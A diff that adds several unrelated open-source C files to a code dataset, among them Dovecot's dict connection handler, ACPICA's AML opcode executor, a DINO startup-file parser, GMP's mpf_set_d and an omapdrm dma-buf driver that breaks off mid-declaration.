0000000000000000000000000000000000000000..a9a761607ef1e404420baa48d659b86183bdf0dc --- /dev/null +++ b/pool/shard011/C/0141950_dict-connection.c @@ -0,0 +1,192 @@ +/* Copyright (c) 2005-2014 Dovecot authors, see the included COPYING file */ + +#include "lib.h" +#include "array.h" +#include "ioloop.h" +#include "istream.h" +#include "ostream.h" +#include "llist.h" +#include "master-service.h" +#include "dict-client.h" +#include "dict-settings.h" +#include "dict-commands.h" +#include "dict-connection.h" + +#include +#include + +static struct dict_connection *dict_connections; + +static int dict_connection_parse_handshake(struct dict_connection *conn, + const char *line) +{ + const char *username, *name, *value_type; + + if (*line++ != DICT_PROTOCOL_CMD_HELLO) + return -1; + + /* check major version */ + if (*line++ - '0' != DICT_CLIENT_PROTOCOL_MAJOR_VERSION || + *line++ != '\t') + return -1; + + /* skip minor version */ + while (*line != '\t' && *line != '\0') line++; + + if (*line++ != '\t') + return -1; + + /* get value type */ + value_type = line; + while (*line != '\t' && *line != '\0') line++; + + if (*line++ != '\t') + return -1; + conn->value_type = atoi(t_strdup_until(value_type, line - 1)); + + /* get username */ + username = line; + while (*line != '\t' && *line != '\0') line++; + + if (*line++ != '\t') + return -1; + conn->username = i_strdup_until(username, line - 1); + + /* the rest is dict name. since we're looking it with getenv(), + disallow all funny characters that might confuse it, just in case. */ + name = line; + while (*line > ' ' && *line != '=') line++; + + if (*line != '\0') + return -1; + + conn->name = i_strdup(name); + return 0; +} + +static int dict_connection_dict_init(struct dict_connection *conn) +{ + const char *const *strlist; + unsigned int i, count; + const char *uri, *error; + + strlist = array_get(&dict_settings->dicts, &count); + for (i = 0; i < count; i += 2) { + if (strcmp(strlist[i], conn->name) == 0) + break; + } + + if (i == count) { + i_error("dict client: Unconfigured dictionary name '%s'", + conn->name); + return -1; + } + uri = strlist[i+1]; + + if (dict_init(uri, conn->value_type, conn->username, + dict_settings->base_dir, &conn->dict, &error) < 0) { + /* dictionary initialization failed */ + i_error("Failed to initialize dictionary '%s': %s", + conn->name, error); + return -1; + } + return 0; +} + +static void dict_connection_input(struct dict_connection *conn) +{ + const char *line; + int ret; + + switch (i_stream_read(conn->input)) { + case 0: + return; + case -1: + /* disconnected */ + dict_connection_destroy(conn); + return; + case -2: + /* buffer full */ + i_error("dict client: Sent us more than %d bytes", + (int)DICT_CLIENT_MAX_LINE_LENGTH); + dict_connection_destroy(conn); + return; + } + + if (conn->username == NULL) { + /* handshake not received yet */ + if ((line = i_stream_next_line(conn->input)) == NULL) + return; + + if (dict_connection_parse_handshake(conn, line) < 0) { + i_error("dict client: Broken handshake"); + dict_connection_destroy(conn); + return; + } + if (dict_connection_dict_init(conn)) { + dict_connection_destroy(conn); + return; + } + } + + while ((line = i_stream_next_line(conn->input)) != NULL) { + T_BEGIN { + ret = dict_command_input(conn, line); + } T_END; + if (ret < 0) { + dict_connection_destroy(conn); + break; + } + } +} + +struct dict_connection *dict_connection_create(int fd) +{ + struct dict_connection *conn; + + conn = i_new(struct dict_connection, 1); + conn->fd = fd; + conn->input = i_stream_create_fd(fd, DICT_CLIENT_MAX_LINE_LENGTH, + FALSE); + conn->output = o_stream_create_fd(fd, 128*1024, FALSE); + o_stream_set_no_error_handling(conn->output, TRUE); + conn->io = io_add(fd, IO_READ, dict_connection_input, conn); + DLLIST_PREPEND(&dict_connections, conn); + return conn; +} + +void dict_connection_destroy(struct dict_connection *conn) +{ + struct dict_connection_transaction *transaction; + + DLLIST_REMOVE(&dict_connections, conn); + + if (array_is_created(&conn->transactions)) { + array_foreach_modifiable(&conn->transactions, transaction) + dict_transaction_rollback(&transaction->ctx); + array_free(&conn->transactions); + } + + if (conn->iter_ctx != NULL) + (void)dict_iterate_deinit(&conn->iter_ctx); + + io_remove(&conn->io); + i_stream_destroy(&conn->input); + o_stream_destroy(&conn->output); + if (close(conn->fd) < 0) + i_error("close(dict client) failed: %m"); + + if (conn->dict != NULL) + dict_deinit(&conn->dict); + i_free(conn->name); + i_free(conn->username); + i_free(conn); + + master_service_client_connection_destroyed(master_service); +} + +void dict_connections_destroy_all(void) +{ + while (dict_connections != NULL) + dict_connection_destroy(dict_connections); +} diff --git a/pool/shard011/C/0141951_USBDataGenerator.c b/pool/shard011/C/0141951_USBDataGenerator.c new file mode 100644 index 0000000000000000000000000000000000000000..253682371ca155762a9641476227015dfc4ac838 --- /dev/null +++ b/pool/shard011/C/0141951_USBDataGenerator.c @@ -0,0 +1,86 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "USBDataGenerator.h" +#include "USBIPUSBTunnel.h" + +#define SERVER_PORT 2010 + +int headrot_to_usb(int sockfd, float headrot[4]) { + + /* Formatting process */ + + int ret = create_usb_tunnel(sockfd/*, usb Oculus Rift formatted headrot data */); + + return ret; +} + +int get_headrot(int sockfd1) { + int sockfd; + float headrot[4]; + struct sockaddr_in self; + + if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0 ) { + perror("Error in socket(): \n"); + close(sockfd); + exit(errno); + } + + bzero(&self, sizeof(self)); + self.sin_family = AF_INET; + self.sin_port = htons(SERVER_PORT); + self.sin_addr.s_addr = INADDR_ANY; + + if(bind(sockfd, (struct sockaddr*)&self, sizeof(self)) != 0 ) { + perror("Error in bind(): \n"); + close(sockfd); + exit(errno); + } + + if(listen(sockfd, 20) != 0 ) { + perror("Error in listen(): \n"); + close(sockfd); + exit(errno); + } + + printf("Listening...\n"); + + while (1) { + int clientfd; + struct sockaddr_in client_addr; + socklen_t addrlen=sizeof(client_addr); + + clientfd = accept(sockfd, (struct sockaddr*)&client_addr, &addrlen); + if(clientfd == -1) { + printf("accept issues: %d", errno); + } + /*printf("%s:%d connected\n", inet_ntoa(client_addr.sin_addr), ntohs(client_addr.sin_port));*/ + + if(recv(clientfd, headrot, sizeof(headrot), 0) == -1) { + printf("recv issues, clientfd and errno: %d %d\n", clientfd, errno); + } + + if(headrot_to_usb(sockfd1, headrot) == 0) { + /* Success */ + } + + else { + /* Failure */ + } + + close(clientfd); + } + + close(sockfd); + return 0; +} \ No newline at end of file diff --git a/pool/shard011/C/0141952_exoparg3.c b/pool/shard011/C/0141952_exoparg3.c new file mode 100644 index 0000000000000000000000000000000000000000..b79277daa8ee0cbb18e9bdb537a3b10e3cd7b6ab --- /dev/null +++ b/pool/shard011/C/0141952_exoparg3.c @@ -0,0 +1,421 @@ +/****************************************************************************** + * + * Module Name: exoparg3 - AML execution - opcodes with 3 arguments + * + *****************************************************************************/ + +/****************************************************************************** + * + * 1. Copyright Notice + * + * Some or all of this work - Copyright (c) 1999 - 2017, Intel Corp. + * All rights reserved. + * + * 2. License + * + * 2.1. This is your license from Intel Corp. under its intellectual property + * rights. You may have additional license terms from the party that provided + * you this software, covering your right to use that party's intellectual + * property rights. + * + * 2.2. Intel grants, free of charge, to any person ("Licensee") obtaining a + * copy of the source code appearing in this file ("Covered Code") an + * irrevocable, perpetual, worldwide license under Intel's copyrights in the + * base code distributed originally by Intel ("Original Intel Code") to copy, + * make derivatives, distribute, use and display any portion of the Covered + * Code in any form, with the right to sublicense such rights; and + * + * 2.3. Intel grants Licensee a non-exclusive and non-transferable patent + * license (with the right to sublicense), under only those claims of Intel + * patents that are infringed by the Original Intel Code, to make, use, sell, + * offer to sell, and import the Covered Code and derivative works thereof + * solely to the minimum extent necessary to exercise the above copyright + * license, and in no event shall the patent license extend to any additions + * to or modifications of the Original Intel Code. No other license or right + * is granted directly or by implication, estoppel or otherwise; + * + * The above copyright and patent license is granted only if the following + * conditions are met: + * + * 3. Conditions + * + * 3.1. Redistribution of Source with Rights to Further Distribute Source. + * Redistribution of source code of any substantial portion of the Covered + * Code or modification with rights to further distribute source must include + * the above Copyright Notice, the above License, this list of Conditions, + * and the following Disclaimer and Export Compliance provision. In addition, + * Licensee must cause all Covered Code to which Licensee contributes to + * contain a file documenting the changes Licensee made to create that Covered + * Code and the date of any change. Licensee must include in that file the + * documentation of any changes made by any predecessor Licensee. Licensee + * must include a prominent statement that the modification is derived, + * directly or indirectly, from Original Intel Code. + * + * 3.2. Redistribution of Source with no Rights to Further Distribute Source. + * Redistribution of source code of any substantial portion of the Covered + * Code or modification without rights to further distribute source must + * include the following Disclaimer and Export Compliance provision in the + * documentation and/or other materials provided with distribution. In + * addition, Licensee may not authorize further sublicense of source of any + * portion of the Covered Code, and must include terms to the effect that the + * license from Licensee to its licensee is limited to the intellectual + * property embodied in the software Licensee provides to its licensee, and + * not to intellectual property embodied in modifications its licensee may + * make. + * + * 3.3. Redistribution of Executable. Redistribution in executable form of any + * substantial portion of the Covered Code or modification must reproduce the + * above Copyright Notice, and the following Disclaimer and Export Compliance + * provision in the documentation and/or other materials provided with the + * distribution. + * + * 3.4. Intel retains all right, title, and interest in and to the Original + * Intel Code. + * + * 3.5. Neither the name Intel nor any other trademark owned or controlled by + * Intel shall be used in advertising or otherwise to promote the sale, use or + * other dealings in products derived from or relating to the Covered Code + * without prior written authorization from Intel. + * + * 4. Disclaimer and Export Compliance + * + * 4.1. INTEL MAKES NO WARRANTY OF ANY KIND REGARDING ANY SOFTWARE PROVIDED + * HERE. ANY SOFTWARE ORIGINATING FROM INTEL OR DERIVED FROM INTEL SOFTWARE + * IS PROVIDED "AS IS," AND INTEL WILL NOT PROVIDE ANY SUPPORT, ASSISTANCE, + * INSTALLATION, TRAINING OR OTHER SERVICES. INTEL WILL NOT PROVIDE ANY + + * UPDATES, ENHANCEMENTS OR EXTENSIONS. INTEL SPECIFICALLY DISCLAIMS ANY + * IMPLIED WARRANTIES OF MERCHANTABILITY, NONINFRINGEMENT AND FITNESS FOR A + * PARTICULAR PURPOSE. + * + * 4.2. IN NO EVENT SHALL INTEL HAVE ANY LIABILITY TO LICENSEE, ITS LICENSEES + * OR ANY OTHER THIRD PARTY, FOR ANY LOST PROFITS, LOST DATA, LOSS OF USE OR + * COSTS OF PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES, OR FOR ANY INDIRECT, + * SPECIAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THIS AGREEMENT, UNDER ANY + * CAUSE OF ACTION OR THEORY OF LIABILITY, AND IRRESPECTIVE OF WHETHER INTEL + * HAS ADVANCE NOTICE OF THE POSSIBILITY OF SUCH DAMAGES. THESE LIMITATIONS + * SHALL APPLY NOTWITHSTANDING THE FAILURE OF THE ESSENTIAL PURPOSE OF ANY + * LIMITED REMEDY. + * + * 4.3. Licensee shall not export, either directly or indirectly, any of this + * software or system incorporating such software without first obtaining any + * required license or other approval from the U. S. Department of Commerce or + * any other agency or department of the United States Government. In the + * event Licensee exports any such software from the United States or + * re-exports any such software from a foreign destination, Licensee shall + * ensure that the distribution and export/re-export of the software is in + * compliance with all laws, regulations, orders, or other restrictions of the + * U.S. Export Administration Regulations. Licensee agrees that neither it nor + * any of its subsidiaries will export/re-export any technical data, process, + * software, or service, directly or indirectly, to any country for which the + * United States government or any agency thereof requires an export license, + * other governmental approval, or letter of assurance, without first obtaining + * such license, approval or letter. + * + ***************************************************************************** + * + * Alternatively, you may choose to be licensed under the terms of the + * following license: + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions, and the following disclaimer, + * without modification. + * 2. Redistributions in binary form must reproduce at minimum a disclaimer + * substantially similar to the "NO WARRANTY" disclaimer below + * ("Disclaimer") and any redistribution must be conditioned upon + * including a substantially similar Disclaimer requirement for further + * binary redistribution. + * 3. Neither the names of the above-listed copyright holders nor the names + * of any contributors may be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR + * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT + * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, + * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT + * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE + * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * Alternatively, you may choose to be licensed under the terms of the + * GNU General Public License ("GPL") version 2 as published by the Free + * Software Foundation. + * + *****************************************************************************/ + +#include "acpi.h" +#include "accommon.h" +#include "acinterp.h" +#include "acparser.h" +#include "amlcode.h" + + +#define _COMPONENT ACPI_EXECUTER + ACPI_MODULE_NAME ("exoparg3") + + +/*! + * Naming convention for AML interpreter execution routines. + * + * The routines that begin execution of AML opcodes are named with a common + * convention based upon the number of arguments, the number of target operands, + * and whether or not a value is returned: + * + * AcpiExOpcode_xA_yT_zR + * + * Where: + * + * xA - ARGUMENTS: The number of arguments (input operands) that are + * required for this opcode type (1 through 6 args). + * yT - TARGETS: The number of targets (output operands) that are required + * for this opcode type (0, 1, or 2 targets). + * zR - RETURN VALUE: Indicates whether this opcode type returns a value + * as the function return (0 or 1). + * + * The AcpiExOpcode* functions are called via the Dispatcher component with + * fully resolved operands. +!*/ + + +/******************************************************************************* + * + * FUNCTION: AcpiExOpcode_3A_0T_0R + * + * PARAMETERS: WalkState - Current walk state + * + * RETURN: Status + * + * DESCRIPTION: Execute Triadic operator (3 operands) + * + ******************************************************************************/ + +ACPI_STATUS +AcpiExOpcode_3A_0T_0R ( + ACPI_WALK_STATE *WalkState) +{ + ACPI_OPERAND_OBJECT **Operand = &WalkState->Operands[0]; + ACPI_SIGNAL_FATAL_INFO *Fatal; + ACPI_STATUS Status = AE_OK; + + + ACPI_FUNCTION_TRACE_STR (ExOpcode_3A_0T_0R, + AcpiPsGetOpcodeName (WalkState->Opcode)); + + + switch (WalkState->Opcode) + { + case AML_FATAL_OP: /* Fatal (FatalType FatalCode FatalArg) */ + + ACPI_DEBUG_PRINT ((ACPI_DB_INFO, + "FatalOp: Type %X Code %X Arg %X " + "<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\n", + (UINT32) Operand[0]->Integer.Value, + (UINT32) Operand[1]->Integer.Value, + (UINT32) Operand[2]->Integer.Value)); + + Fatal = ACPI_ALLOCATE (sizeof (ACPI_SIGNAL_FATAL_INFO)); + if (Fatal) + { + Fatal->Type = (UINT32) Operand[0]->Integer.Value; + Fatal->Code = (UINT32) Operand[1]->Integer.Value; + Fatal->Argument = (UINT32) Operand[2]->Integer.Value; + } + + /* Always signal the OS! */ + + Status = AcpiOsSignal (ACPI_SIGNAL_FATAL, Fatal); + + /* Might return while OS is shutting down, just continue */ + + ACPI_FREE (Fatal); + goto Cleanup; + + case AML_EXTERNAL_OP: + /* + * If the interpreter sees this opcode, just ignore it. The External + * op is intended for use by disassemblers in order to properly + * disassemble control method invocations. The opcode or group of + * opcodes should be surrounded by an "if (0)" clause to ensure that + * AML interpreters never see the opcode. Thus, something is + * wrong if an external opcode ever gets here. + */ + ACPI_ERROR ((AE_INFO, "Executed External Op")); + Status = AE_OK; + goto Cleanup; + + default: + + ACPI_ERROR ((AE_INFO, "Unknown AML opcode 0x%X", + WalkState->Opcode)); + + Status = AE_AML_BAD_OPCODE; + goto Cleanup; + } + + +Cleanup: + + return_ACPI_STATUS (Status); +} + + +/******************************************************************************* + * + * FUNCTION: AcpiExOpcode_3A_1T_1R + * + * PARAMETERS: WalkState - Current walk state + * + * RETURN: Status + * + * DESCRIPTION: Execute Triadic operator (3 operands) + * + ******************************************************************************/ + +ACPI_STATUS +AcpiExOpcode_3A_1T_1R ( + ACPI_WALK_STATE *WalkState) +{ + ACPI_OPERAND_OBJECT **Operand = &WalkState->Operands[0]; + ACPI_OPERAND_OBJECT *ReturnDesc = NULL; + char *Buffer = NULL; + ACPI_STATUS Status = AE_OK; + UINT64 Index; + ACPI_SIZE Length; + + + ACPI_FUNCTION_TRACE_STR (ExOpcode_3A_1T_1R, + AcpiPsGetOpcodeName (WalkState->Opcode)); + + + switch (WalkState->Opcode) + { + case AML_MID_OP: /* Mid (Source[0], Index[1], Length[2], Result[3]) */ + /* + * Create the return object. The Source operand is guaranteed to be + * either a String or a Buffer, so just use its type. + */ + ReturnDesc = AcpiUtCreateInternalObject ( + (Operand[0])->Common.Type); + if (!ReturnDesc) + { + Status = AE_NO_MEMORY; + goto Cleanup; + } + + /* Get the Integer values from the objects */ + + Index = Operand[1]->Integer.Value; + Length = (ACPI_SIZE) Operand[2]->Integer.Value; + + /* + * If the index is beyond the length of the String/Buffer, or if the + * requested length is zero, return a zero-length String/Buffer + */ + if (Index >= Operand[0]->String.Length) + { + Length = 0; + } + + /* Truncate request if larger than the actual String/Buffer */ + + else if ((Index + Length) > Operand[0]->String.Length) + { + Length = + (ACPI_SIZE) Operand[0]->String.Length - (ACPI_SIZE) Index; + } + + /* Strings always have a sub-pointer, not so for buffers */ + + switch ((Operand[0])->Common.Type) + { + case ACPI_TYPE_STRING: + + /* Always allocate a new buffer for the String */ + + Buffer = ACPI_ALLOCATE_ZEROED ((ACPI_SIZE) Length + 1); + if (!Buffer) + { + Status = AE_NO_MEMORY; + goto Cleanup; + } + break; + + case ACPI_TYPE_BUFFER: + + /* If the requested length is zero, don't allocate a buffer */ + + if (Length > 0) + { + /* Allocate a new buffer for the Buffer */ + + Buffer = ACPI_ALLOCATE_ZEROED (Length); + if (!Buffer) + { + Status = AE_NO_MEMORY; + goto Cleanup; + } + } + break; + + default: /* Should not happen */ + + Status = AE_AML_OPERAND_TYPE; + goto Cleanup; + } + + if (Buffer) + { + /* We have a buffer, copy the portion requested */ + + memcpy (Buffer, + Operand[0]->String.Pointer + Index, Length); + } + + /* Set the length of the new String/Buffer */ + + ReturnDesc->String.Pointer = Buffer; + ReturnDesc->String.Length = (UINT32) Length; + + /* Mark buffer initialized */ + + ReturnDesc->Buffer.Flags |= AOPOBJ_DATA_VALID; + break; + + default: + + ACPI_ERROR ((AE_INFO, "Unknown AML opcode 0x%X", + WalkState->Opcode)); + + Status = AE_AML_BAD_OPCODE; + goto Cleanup; + } + + /* Store the result in the target */ + + Status = AcpiExStore (ReturnDesc, Operand[3], WalkState); + +Cleanup: + + /* Delete return object on error */ + + if (ACPI_FAILURE (Status) || WalkState->ResultObj) + { + AcpiUtRemoveReference (ReturnDesc); + WalkState->ResultObj = NULL; + } + else + { + /* Set the return object and exit */ + + WalkState->ResultObj = ReturnDesc; + } + + return_ACPI_STATUS (Status); +} diff --git a/pool/shard011/C/0141953_startup.c b/pool/shard011/C/0141953_startup.c new file mode 100644 index 0000000000000000000000000000000000000000..fd0052a2e1034d55f500e7a7d1f28c2d81cbf114 --- /dev/null +++ b/pool/shard011/C/0141953_startup.c @@ -0,0 +1,215 @@ +/************************************* + startup.c + + all global structs can be modified + by a resource file upon startup + + TODO!!! + + > keywords: + + exec COMMAND : execute raw command + exec {} : execute block of commands + bind DEVICE AXIS STATE ACTION SCALE: event table settings + gfxwin GEOMETRY : geometry of _inner_ gfx window + menu clear : clear user menu + menu add LABEL COMMAND : add command (using some wildcards!) + logfile NAME : name of logfile to use + nologfile : don't write a logfile + prompt: DINO prompt + on KEY COMMAND: KEY is F1-F12 or C-* or M-* + + > default values for datasets and objects + + atomcolor ELE COLOR + + struct_ds + struct_obj + struct_obj_connect + struct_obj_trace + + surf_ds + surf_obj + + scal_ds + scal_obj + scal_obj_contour + scal_obj_grid + scal_obj_slab + + topo_ds + topo_obj + topo_obj_contour + topo_obj_surface + + geom_ds + geom_obj + + +*************************************/ + +#include +#include +#include +#include + +#include "startup.h" +#include "dino.h" +#include "com.h" +#include "gfx.h" +#include "scene.h" +#include "cl.h" + +extern struct GFX gfx; +extern struct SCENE scene; + +extern int debug_mode; + +static int exec_flag; + +static int eval_line(int argc, char **argv, struct COM_PARAMS *params) +{ + int i; + static char message[256]; + + if(argv[0]==NULL) { + // empty line, ignore + } else if(argv[0][0]=='#') { + // comment, ignore + } else if(clStrcmp(argv[0],"exec")) { + // execute either single command or block + if(clStrcmp(argv[1],"{")) { + // execute block + exec_flag=1; + } else { + clStrcpy(message,""); + for(i=1;istereo_flag=1; + } else { + params->stereo_flag=0; + } + } else if(clStrcmp(argv[0],"mouse_rot_scale")) { + params->mouse_rot_scale = atof(argv[1]); + } else if(clStrcmp(argv[0],"mouse_tra_scale")) { + params->mouse_tra_scale = atof(argv[1]); + } else if(clStrcmp(argv[0],"sb_rot_scale")) { + params->sb_rot_scale = atof(argv[1]); + } else if(clStrcmp(argv[0],"sb_tra_scale")) { + params->sb_tra_scale = atof(argv[1]); + } else if(clStrcmp(argv[0],"sb_thres")) { + params->sb_thres = atof(argv[1]); + } else if(clStrcmp(argv[0],"dials_rot_scale")) { + params->dials_rot_scale = atof(argv[1]); + } else if(clStrcmp(argv[0],"dials_tra_scale")) { + params->dials_tra_scale = atof(argv[1]); + } else if(clStrcmp(argv[0],"trans_limit")) { + if(argc==7) { + params->trans_limit_flag=1; + for(i=0;i<6;i++) { + params->trans_limit[i]=atof(argv[i+1]); + } + } else { + fprintf(stderr,"startup parameter 'trans_limit' requires 6 parameters\n"); + } + } else { + // unknown keyword + //fprintf(stderr,"startup: unknown keyword ignored: %s\n",argv[0]); + } + } + + return 0; +} + +static int parse_line(char *s, struct COM_PARAMS *params) +{ + char delim[]=" \t\n"; + int argc=0; + char *argv[256],*p; + + // remove trailing whitespaces + while(isspace(s[0]) && s[0]!='\0') s++; + + // string as whole token !!! + + if(exec_flag && s[0]!='}') { + comRawCommand(s); + } else { + // split s into tokens + argv[argc++]=strtok(s,delim); + while((p=strtok(NULL,delim))!=NULL) + argv[argc++]=p; + if(clStrlen(argv[0])>0) { + return eval_line(argc,argv, params); + } + } + + + return 0; +} + +/* + the only externally visible function + called from main() +*/ + +int load_startup(struct COM_PARAMS *params) +{ + FILE *f; + char path[256],*line; + int ret=0; + + line=malloc(512); + + // check wether resource file exists + // first in current directory + debmsg("checking for startup file"); + clStrcpy(path,"dinorc"); + debmsg(" in current path"); + if((f=fopen(path,"r"))==NULL) { + clStrcpy(path,".dinorc"); + if((f=fopen(path,"r"))==NULL) { + // then in home directory + sprintf(path,"%s/.dinorc",getenv("HOME")); + debmsg(" in home dir"); + if((f=fopen(path,"r"))==NULL) { + // none found + debmsg("no startup file found"); + return -1; + } + } + } + + // read in lines and parse them + exec_flag=0; + while (fgets(line,511,f)!=NULL) { + if(parse_line(line, params)<0) { + ret=-1; + break; + } + } + + fclose(f); + free(line); + + return ret; +} diff --git a/pool/shard011/C/0141954_set_d.c b/pool/shard011/C/0141954_set_d.c new file mode 100644 index 0000000000000000000000000000000000000000..0442f2f8820c43ff4898fa2ec38ce2a1cf2788ca --- /dev/null +++ b/pool/shard011/C/0141954_set_d.c @@ -0,0 +1,59 @@ +/* mpf_set_d -- Assign a float from a double. + +Copyright 1993-1996, 2001, 2003, 2004 Free Software Foundation, Inc. + +This file is part of the GNU MP Library. + +The GNU MP Library is free software; you can redistribute it and/or modify +it under the terms of either: + + * the GNU Lesser General Public License as published by the Free + Software Foundation; either version 3 of the License, or (at your + option) any later version. + +or + + * the GNU General Public License as published by the Free Software + Foundation; either version 2 of the License, or (at your option) any + later version. + +or both in parallel, as here. + +The GNU MP Library is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY +or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License +for more details. + +You should have received copies of the GNU General Public License and the +GNU Lesser General Public License along with the GNU MP Library. If not, +see https://www.gnu.org/licenses/. */ + +#include "config.h" + +#if HAVE_FLOAT_H +#include /* for DBL_MAX */ +#endif + +#include "gmp-impl.h" + +void +mpf_set_d (mpf_ptr r, double d) +{ + int negative; + + DOUBLE_NAN_INF_ACTION (d, + __gmp_invalid_operation (), + __gmp_invalid_operation ()); + + if (UNLIKELY (d == 0)) + { + SIZ(r) = 0; + EXP(r) = 0; + return; + } + negative = d < 0; + d = ABS (d); + + SIZ(r) = negative ? -LIMBS_PER_DOUBLE : LIMBS_PER_DOUBLE; + EXP(r) = __gmp_extract_double (PTR(r), d); +} diff --git a/pool/shard011/C/0141955_omap_gem_dmabuf.c b/pool/shard011/C/0141955_omap_gem_dmabuf.c new file mode 100644 index 0000000000000000000000000000000000000000..af267c35d813cc7548f060ef5771d6cd4232b4c9 --- /dev/null +++ b/pool/shard011/C/0141955_omap_gem_dmabuf.c @@ -0,0 +1,239 @@ +/* + * drivers/gpu/drm/omapdrm/omap_gem_dmabuf.c + * + * Copyright (C) 2011 Texas Instruments + * Author: Rob Clark + * + * This program is free software; you can redistribute it and/or modify it + * under the terms of the GNU General Public License version 2 as published by + * the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or + * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for + * more details. + * + * You should have received a copy of the GNU General Public License along with + * this program. If not, see . + */ + +#include + +#include "omap_drv.h" + +/* ----------------------------------------------------------------------------- + * DMABUF Export + */ + +static struct sg_table *omap_gem_map_dma_buf( + struct dma_buf_attachment *attachment, + enum dma_data_direction dir) +{ + struct drm_gem_object *obj = attachment->dmabuf->priv; + struct sg_table *sg; + dma_addr_t paddr; + int ret; + + sg = kzalloc(sizeof(*sg), GFP_KERNEL); + if (!sg) + return ERR_PTR(-ENOMEM); + + /* camera, etc, need physically contiguous.. but we need a + * better way to know this.. + */ + ret = omap_gem_get_paddr(obj, &paddr, true); + if (ret) + goto out; + + ret = sg_alloc_table(sg, 1, GFP_KERNEL); + if (ret) + goto out; + + sg_init_table(sg->sgl, 1); + sg_dma_len(sg->sgl) = obj->size; + sg_set_page(sg->sgl, pfn_to_page(PFN_DOWN(paddr)), obj->size, 0); + sg_dma_address(sg->sgl) = paddr; + + /* this should be after _get_paddr() to ensure we have pages attached */ + omap_gem_dma_sync(obj, dir); + + return sg; +out: + kfree(sg); + return ERR_PTR(ret); +} + +static void omap_gem_unmap_dma_buf(struct dma_buf_attachment *attachment, + struct sg_table *sg, enum dma_data_direction dir) +{ + struct drm_gem_object *obj = attachment->dmabuf->priv; + omap_gem_put_paddr(obj); + sg_free_table(sg); + kfree(sg); +} + +static void omap_gem_dmabuf_release(struct dma_buf *buffer) +{ + struct drm_gem_object *obj = buffer->priv; + /* release reference that was taken when dmabuf was exported + * in omap_gem_prime_set().. + */ + drm_gem_object_unreference_unlocked(obj); +} + + +static int omap_gem_dmabuf_begin_cpu_access(struct dma_buf *buffer, + enum dma_data_direction dir) +{ + struct drm_gem_object *obj = buffer->priv; + struct page **pages; + if (omap_gem_flags(obj) & OMAP_BO_TILED) { + /* TODO we would need to pin at least part of the buffer to + * get de-tiled view. For now just reject it. + */ + return -ENOMEM; + } + /* make sure we have the pages: */ + return omap_gem_get_pages(obj, &pages, true); +} + +static int omap_gem_dmabuf_end_cpu_access(struct dma_buf *buffer, + enum dma_data_direction dir) +{ + struct drm_gem_object *obj = buffer->priv; + omap_gem_put_pages(obj); + return 0; +} + + +static void *omap_gem_dmabuf_kmap_atomic(struct dma_buf *buffer, + unsigned long page_num) +{ + struct drm_gem_object *obj = buffer->priv; + struct page **pages; + omap_gem_get_pages(obj, &pages, false); + omap_gem_cpu_sync(obj, page_num); + return kmap_atomic(pages[page_num]); +} + +static void omap_gem_dmabuf_kunmap_atomic(struct dma_buf *buffer, + unsigned long page_num, void *addr) +{ + kunmap_atomic(addr); +} + +static void *omap_gem_dmabuf_kmap(struct dma_buf *buffer, + unsigned long page_num) +{ + struct drm_gem_object *obj = buffer->priv; + struct page **pages; + omap_gem_get_pages(obj, &pages, false); + omap_gem_cpu_sync(obj, page_num); + return kmap(pages[page_num]); +} + +static void omap_gem_dmabuf_kunmap(struct dma_buf *buffer, + unsigned long page_num, void *addr) +{ + struct drm_gem_object *obj = buffer->priv; + struct page **pages; + omap_gem_get_pages(obj, &pages, false); + kunmap(pages[page_num]); +} + +static int omap_gem_dmabuf_mmap(struct dma_buf *buffer, + struct vm_area_struct *vma) +{ + struct drm_gem_object *obj = buffer->priv; + int ret = 0; + + if (WARN_ON(!obj->filp)) + return -EINVAL; + + ret = drm_gem_mmap_obj(obj, omap_gem_mmap_size(obj), vma); + if (ret < 0) + return ret; + + return omap_gem_mmap_obj(obj, vma); +} + +static struct dma_buf_ops omap_dmabuf_ops = { + .map_dma_buf = omap_gem_map_dma_buf, + .unmap_dma_buf = omap_gem_unmap_dma_buf, + .release = omap_gem_dmabuf_release, + .begin_cpu_access = omap_gem_dmabuf_begin_cpu_access, + .end_cpu_access = omap_gem_dmabuf_end_cpu_access, + .kmap_atomic = omap_gem_dmabuf_kmap_atomic, + .kunmap_atomic = omap_gem_dmabuf_kunmap_atomic, + .kmap = omap_gem_dmabuf_kmap, + .kunmap = omap_gem_dmabuf_kunmap, + .mmap = omap_gem_dmabuf_mmap, +}; + +struct dma_buf *omap_gem_prime_export(struct drm_device *dev, + struct drm_gem_object *obj, int flags) +{ + DEFINE_DMA_BUF_EXPORT_INFO(exp_info); + + exp_info.ops = &omap_dmabuf_ops; + exp_info.size = obj->size; + exp_info.flags = flags; + exp_info.priv = obj; + + return dma_buf_export(&exp_info); +} + +/* ----------------------------------------------------------------------------- + * DMABUF Import + */ + +struct drm_gem_object 